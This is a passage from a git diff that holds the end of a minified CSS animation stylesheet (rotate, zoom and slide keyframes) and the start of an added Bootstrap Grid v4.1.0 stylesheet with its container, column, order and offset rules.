bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft}@-webkit-keyframes rotateInDownRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInDownRight{-webkit-animation-name:rotateInDownRight;animation-name:rotateInDownRight}@-webkit-keyframes rotateInUpLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft}@-webkit-keyframes rotateInUpRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInUpRight{-webkit-animation-name:rotateInUpRight;animation-name:rotateInUpRight}@-webkit-keyframes rotateOut{0%{-webkit-transform-origin:center;transform-origin:center;opacity:1}100%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}@keyframes rotateOut{0%{-webkit-transform-origin:center;transform-origin:center;opacity:1}100%{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}.rotateOut{-webkit-animation-name:rotateOut;animation-name:rotateOut}@-webkit-keyframes rotateOutDownLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}@keyframes rotateOutDownLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}.rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft}@-webkit-keyframes rotateOutDownRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutDownRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight}@-webkit-keyframes rotateOutUpLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutUpLeft{0%{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}100%{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft}@-webkit-keyframes rotateOutUpRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}@keyframes rotateOutUpRight{0%{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}100%{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}.rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight}@-webkit-keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}100%{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}@keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}100%{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}.hinge{-webkit-animation-name:hinge;animation-name:hinge}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}100%{opacity:1;-webkit-transform:none;transform:none}}.rollIn{-webkit-animation-name:rollIn;animation-name:rollIn}@-webkit-keyframes rollOut{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}@keyframes rollOut{0%{opacity:1}100%{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}.rollOut{-webkit-animation-name:rollOut;animation-name:rollOut}@-webkit-keyframes zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}.zoomIn{-webkit-animation-name:zoomIn;animation-name:zoomIn}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomInDown{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomInLeft{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}@-webkit-keyframes zoomInRight{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomInRight{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomInRight{-webkit-animation-name:zoomInRight;animation-name:zoomInRight}@-webkit-keyframes zoomInUp{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomInUp{0%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomInUp{-webkit-animation-name:zoomInUp;animation-name:zoomInUp}@-webkit-keyframes zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}100%{opacity:0}}@keyframes zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}100%{opacity:0}}.zoomOut{-webkit-animation-name:zoomOut;animation-name:zoomOut}@-webkit-keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomOutDown{-webkit-animation-name:zoomOutDown;animation-name:zoomOutDown}@-webkit-keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}@keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}.zoomOutLeft{-webkit-animation-name:zoomOutLeft;animation-name:zoomOutLeft}@-webkit-keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}@keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}.zoomOutRight{-webkit-animation-name:zoomOutRight;animation-name:zoomOutRight}@-webkit-keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}@keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190);animation-timing-function:cubic-bezier(0.550,0.055,0.675,0.190)}100%{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(0.175,0.885,0.320,1);animation-timing-function:cubic-bezier(0.175,0.885,0.320,1)}}.zoomOutUp{-webkit-animation-name:zoomOutUp;animation-name:zoomOutUp}@-webkit-keyframes slideInDown{0%{-webkit-transform:translateY(-100%);transform:translateY(-100%);visibility:visible}100%{-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes slideInDown{0%{-webkit-transform:translateY(-100%);transform:translateY(-100%);visibility:visible}100%{-webkit-transform:translateY(0);transform:translateY(0)}}.slideInDown{-webkit-animation-name:slideInDown;animation-name:slideInDown}@-webkit-keyframes slideInLeft{0%{-webkit-transform:translateX(-100%);transform:translateX(-100%);visibility:visible}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes slideInLeft{0%{-webkit-transform:translateX(-100%);transform:translateX(-100%);visibility:visible}100%{-webkit-transform:translateX(0);transform:translateX(0)}}.slideInLeft{-webkit-animation-name:slideInLeft;animation-name:slideInLeft}@-webkit-keyframes slideInRight{0%{-webkit-transform:translateX(100%);transform:translateX(100%);visibility:visible}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes slideInRight{0%{-webkit-transform:translateX(100%);transform:translateX(100%);visibility:visible}100%{-webkit-transform:translateX(0);transform:translateX(0)}}.slideInRight{-webkit-animation-name:slideInRight;animation-name:slideInRight}@-webkit-keyframes slideInUp{0%{-webkit-transform:translateY(100%);transform:translateY(100%);visibility:visible}100%{-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes slideInUp{0%{-webkit-transform:translateY(100%);transform:translateY(100%);visibility:visible}100%{-webkit-transform:translateY(0);transform:translateY(0)}}.slideInUp{-webkit-animation-name:slideInUp;animation-name:slideInUp}@-webkit-keyframes slideOutDown{0%{-webkit-transform:translateY(0);transform:translateY(0)}100%{visibility:hidden;-webkit-transform:translateY(100%);transform:translateY(100%)}}@keyframes slideOutDown{0%{-webkit-transform:translateY(0);transform:translateY(0)}100%{visibility:hidden;-webkit-transform:translateY(100%);transform:translateY(100%)}}.slideOutDown{-webkit-animation-name:slideOutDown;animation-name:slideOutDown}@-webkit-keyframes slideOutLeft{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{visibility:hidden;-webkit-transform:translateX(-100%);transform:translateX(-100%)}}@keyframes slideOutLeft{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{visibility:hidden;-webkit-transform:translateX(-100%);transform:translateX(-100%)}}.slideOutLeft{-webkit-animation-name:slideOutLeft;animation-name:slideOutLeft}@-webkit-keyframes slideOutRight{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{visibility:hidden;-webkit-transform:translateX(100%);transform:translateX(100%)}}@keyframes slideOutRight{0%{-webkit-transform:translateX(0);transform:translateX(0)}100%{visibility:hidden;-webkit-transform:translateX(100%);transform:translateX(100%)}}.slideOutRight{-webkit-animation-name:slideOutRight;animation-name:slideOutRight}@-webkit-keyframes slideOutUp{0%{-webkit-transform:translateY(0);transform:translateY(0)}100%{visibility:hidden;-webkit-transform:translateY(-100%);transform:translateY(-100%)}}@keyframes slideOutUp{0%{-webkit-transform:translateY(0);transform:translateY(0)}100%{visibility:hidden;-webkit-transform:translateY(-100%);transform:translateY(-100%)}}.slideOutUp{-webkit-animation-name:slideOutUp;animation-name:slideOutUp} \ No newline at end of file diff --git a/public/css/bootstrap-grid.css b/public/css/bootstrap-grid.css new file mode 100644 index 0000000..6798f23 --- /dev/null +++ b/public/css/bootstrap-grid.css @@ -0,0 +1,1912 @@ +/*! + * Bootstrap Grid v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +@-ms-viewport { + width: device-width; +} + +html { + box-sizing: border-box; + -ms-overflow-style: scrollbar; +} + +*, +*::before, +*::after { + box-sizing: inherit; +} + +.container { + width: 100%; + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} + +@media (min-width: 576px) { + .container { + max-width: 540px; + } +} + +@media (min-width: 768px) { + .container { + max-width: 720px; + } +} + +@media (min-width: 992px) { + .container { + max-width: 960px; + } +} + +@media (min-width: 1200px) { + .container { + max-width: 1140px; + } +} + +.container-fluid { + width: 100%; + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} + +.row { + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin-right: -15px; + margin-left: -15px; +} + +.no-gutters { + margin-right: 0; + margin-left: 0; +} + +.no-gutters > .col, +.no-gutters > [class*="col-"] { + padding-right: 0; + padding-left: 0; +} + +.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col, +.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm, +.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md, +.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg, +.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl, +.col-xl-auto { + position: relative; + width: 100%; + min-height: 1px; + padding-right: 15px; + padding-left: 15px; +} + +.col { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; +} + +.col-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none; +} + +.col-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; +} + +.col-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; +} + +.col-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; +} + +.col-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; +} + +.col-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; +} + +.col-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; +} + +.col-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; +} + +.col-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; +} + +.col-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; +} + +.col-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; +} + +.col-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; +} + +.col-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; +} + +.order-first { + -ms-flex-order: -1; + order: -1; +} + +.order-last { + -ms-flex-order: 13; + order: 13; +} + +.order-0 { + -ms-flex-order: 0; + order: 0; +} + +.order-1 { + -ms-flex-order: 1; + order: 1; +} + +.order-2 { + -ms-flex-order: 2; + order: 2; +} + +.order-3 { + -ms-flex-order: 3; + order: 3; +} + +.order-4 { + -ms-flex-order: 4; + order: 4; +} + +.order-5 { + -ms-flex-order: 5; + order: 5; +} + +.order-6 { + -ms-flex-order: 6; + order: 6; +} + +.order-7 { + -ms-flex-order: 7; + order: 7; +} + +.order-8 { + -ms-flex-order: 8; + order: 8; +} + +.order-9 { + -ms-flex-order: 9; + order: 9; +} + +.order-10 { + -ms-flex-order: 10; + order: 10; +} + +.order-11 { + -ms-flex-order: 11; + order: 11; +} + +.order-12 { + -ms-flex-order: 12; + order: 12; +} + +.offset-1 { + margin-left: 8.333333%; +} + +.offset-2 { + margin-left: 16.666667%; +} + +.offset-3 { + margin-left: 25%; +} + +.offset-4 { + margin-left: 33.333333%; +} + +.offset-5 { + margin-left: 41.666667%; +} + +.offset-6 { + margin-left: 50%; +} + +.offset-7 { + margin-left: 58.333333%; +} + +.offset-8 { + margin-left: 66.666667%; +} + +.offset-9 { + margin-left: 75%; +} + +.offset-10 { + margin-left: 83.333333%; +} + +.offset-11 { + margin-left: 91.666667%; +} + +@media (min-width: 576px) { + .col-sm { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-sm-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none; + } + .col-sm-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-sm-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-sm-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-sm-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-sm-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-sm-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-sm-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-sm-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-sm-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-sm-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-sm-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-sm-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-sm-first { + -ms-flex-order: -1; + order: -1; + } + .order-sm-last { + -ms-flex-order: 13; + order: 13; + } + .order-sm-0 { + -ms-flex-order: 0; + order: 0; + } + .order-sm-1 { + -ms-flex-order: 1; + order: 1; + } + .order-sm-2 { + -ms-flex-order: 2; + order: 2; + } + .order-sm-3 { + -ms-flex-order: 3; + order: 3; + } + .order-sm-4 { + -ms-flex-order: 4; + order: 4; + } + .order-sm-5 { + -ms-flex-order: 5; + order: 5; + } + .order-sm-6 { + -ms-flex-order: 6; + order: 6; + } + .order-sm-7 { + -ms-flex-order: 7; + order: 7; + } + .order-sm-8 { + -ms-flex-order: 8; + order: 8; + } + .order-sm-9 { + -ms-flex-order: 9; + order: 9; + } + .order-sm-10 { + -ms-flex-order: 10; + order: 10; + } + .order-sm-11 { + -ms-flex-order: 11; + order: 11; + } + .order-sm-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-sm-0 { + margin-left: 0; + } + .offset-sm-1 { + margin-left: 8.333333%; + } + .offset-sm-2 { + margin-left: 16.666667%; + } + .offset-sm-3 { + margin-left: 25%; + } + .offset-sm-4 { + margin-left: 33.333333%; + } + .offset-sm-5 { + margin-left: 41.666667%; + } + .offset-sm-6 { + margin-left: 50%; + } + .offset-sm-7 { + margin-left: 58.333333%; + } + .offset-sm-8 { + margin-left: 66.666667%; + } + .offset-sm-9 { + margin-left: 75%; + } + .offset-sm-10 { + margin-left: 83.333333%; + } + .offset-sm-11 { + margin-left: 91.666667%; + } +} + +@media (min-width: 768px) { + .col-md { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-md-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none; + } + .col-md-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + 